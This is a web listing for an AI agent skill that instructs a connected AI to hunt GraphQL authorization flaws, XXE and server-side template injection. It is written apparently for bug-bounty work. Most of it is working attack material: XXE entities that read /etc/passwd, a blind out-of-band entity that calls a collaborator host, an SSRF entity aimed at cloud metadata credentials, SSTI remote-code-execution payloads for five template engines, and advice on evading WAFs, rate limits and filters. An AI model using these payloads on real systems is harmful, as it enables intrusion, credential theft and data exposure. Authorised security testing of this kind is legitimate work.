Hunt: GraphQL / XXE / SSTI
SkillFiles & storageGraphQL IDOR/auth-bypass, XXE file-read/SSRF (SVG/DOCX/SAML), SSTI detection and RCE. OOB-mandatory for blind XXE. Wiki-first, FIND schema output.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Hunt: GraphQL / XXE / SSTI skill
What this skill tells your AI
The instructions your AI receives, as published by encod3d-sec/torch in skills/hunt/hunt-injection/SKILL.md and read by ahel’s review.
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP
Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: wiki/payloads/{ssti,xxe,graphql,xslt}.md.
Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).
GRAPHQL
Signals
/graphql /api/graphql /v1/graphql /query /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles
Methodology
- Test introspection:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { fields { name } } } }"}'
If blocked, try: {"query":"{ __typename }"}
- Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to Burp Repeater (
Skill(hunt-burp)/ the Burp MCP) so the operator can replay them. - Find REST/GraphQL overlap - resources modifiable via BOTH APIs
- Test IDOR: replay queries/mutations with another user's object IDs
- Test authorization: lower-privilege user calling admin mutations
- Test for persistent privilege after REST revokes access - GraphQL re-grants?
Evasion
Introspection disabled -> {"query":"{ __typename }"} confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.
XXE
Attack Surface (ranked)
/upload /import /parse /convert /saml/acs /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features
Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to Content-Type: application/xml.
Classic File Read
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
Blind OOB (when no reflection)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root>
SVG Upload XXE
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
XXE -> SSRF
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
Evasion
XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a Content-Type: application/xml swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through php://filter/convert.base64-encode/resource= for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.
SSTI
Detection Probes (try all - different engines respond to different syntax)
{{7*7}} -> 49 = Jinja2 / Twig
${7*7} -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako
*{7*7} -> 49 = Spring Thymeleaf
{{7*'7'}} -> 7777777 = Jinja2 (not Twig)
RCE Payloads (after fingerprinting engine)
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# ERB (Ruby)
<%= `id` %>
# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}
Prove RCE with a harmless command (id / whoami) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.
Where to Test (ranked)
Highest yield first: PDF/invoice generators and email-template fields (server-side render by design), then name/bio/description fields, invoice names, search queries reflected in results, URL path parameters, and HTTP headers reflected in responses.
Evasion
{{7*7}} filtered or returned literally -> cycle every engine syntax above, then bypass keyword filters via attribute-access variants (request["application"] vs request.application), string concatenation to rebuild blocked names, and hex/unicode escapes. WAF on __class__ -> |attr('__class__').
Chaining
- SSTI -> RCE. Evaluation confirmed -> escalate to command execution with the engine payload above (safe command first). For sandbox-escape gadget chains and OOB-blind RCE, hand off to
hunt-rce. - XXE -> SSRF / file read. Point the external entity at
http://169.254.169.254/...for cloud metadata or an internal service; for the full SSRF surface (redirect bypass, protocol smuggling, Collaborator-gated blind) hand off tohunt-ssrf. File read escalates to source/config disclosure and, through those, to further creds. - GraphQL IDOR / auth bypass -> object enumeration. Nested-resolver and
node(id:)traversal are IDOR - hand off tohunt-idor(two-account method) orhunt-api(BOLA/BFLA, mass assignment, batching).
Confirmation gate
Per hunt-core. Reproduce every claim in a clean session before scaffolding a FIND; a response body on its own is not proof.
SSTI - NOT confirmation: a {{7*7}} (or ${7*7} / <%= 7*7 %>) reflected back literally as {{7*7}}; an error naming the template engine; input echoed unchanged.
SSTI - IS confirmation: the expression is evaluated - {{7*7}} renders 49, {{7*'7'}} renders 7777777, or a rendered object comes back (e.g. a dumped config object). RCE is confirmed only when a safe command (id / whoami) returns its real output.
XXE - NOT confirmation: a parser error, a 500, or "entity not allowed" - these prove XML is parsed, not that the entity resolved.
XXE - IS confirmation: the external entity resolves to real content - /etc/passwd (or metadata creds) reflected in the response, OR an out-of-band callback.
Blind XXE / blind SSTI need an OOB HIT. When you plant a blind/OOB payload (parameter-entity XXE, or SSTI with no reflected sink), fire it at your own interactsh/Collaborator listener and append a row to targets/<eng>/oob.md:
| <token> | <sink url+param> | xxe | <date> | waiting | |
(columns: token | sink | class | planted | status | source; token = your unique interactsh/Collaborator label). The recon-capture hook flips the row waiting -> HIT on the incoming callback and SessionStart surfaces HITs; that HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XXE (or blind SSTI) without a HIT row.
Severity
| Confirmed | Severity |
|---|---|
| SSTI -> RCE | critical |
| SSTI, sandboxed (no RCE) | medium |
| XXE file read | high (critical if cloud-metadata creds retrieved) |
| XXE -> SSRF | high |
| GraphQL IDOR / auth bypass | high |
Distill when confirmed (GENERIC, no client host): python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssti.md (XXE -> techniques/web/xxe.md; GraphQL -> techniques/web/graphql-attacks.md).
Deadends
Append: - [ ] XXE on <host> -- XML rejected (JSON-only), SVG sanitized, parameter entities blocked;
SSTI -- {{7*7}} literal across all engines; GraphQL -- introspection off, no field suggestions
Record what you tried, not just that it failed. The next pass needs the boundary.
Signals
- GitHub stars
- 322
- Forks
- 44
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
hunt-injection- Source
- github.com/encod3d-sec/torch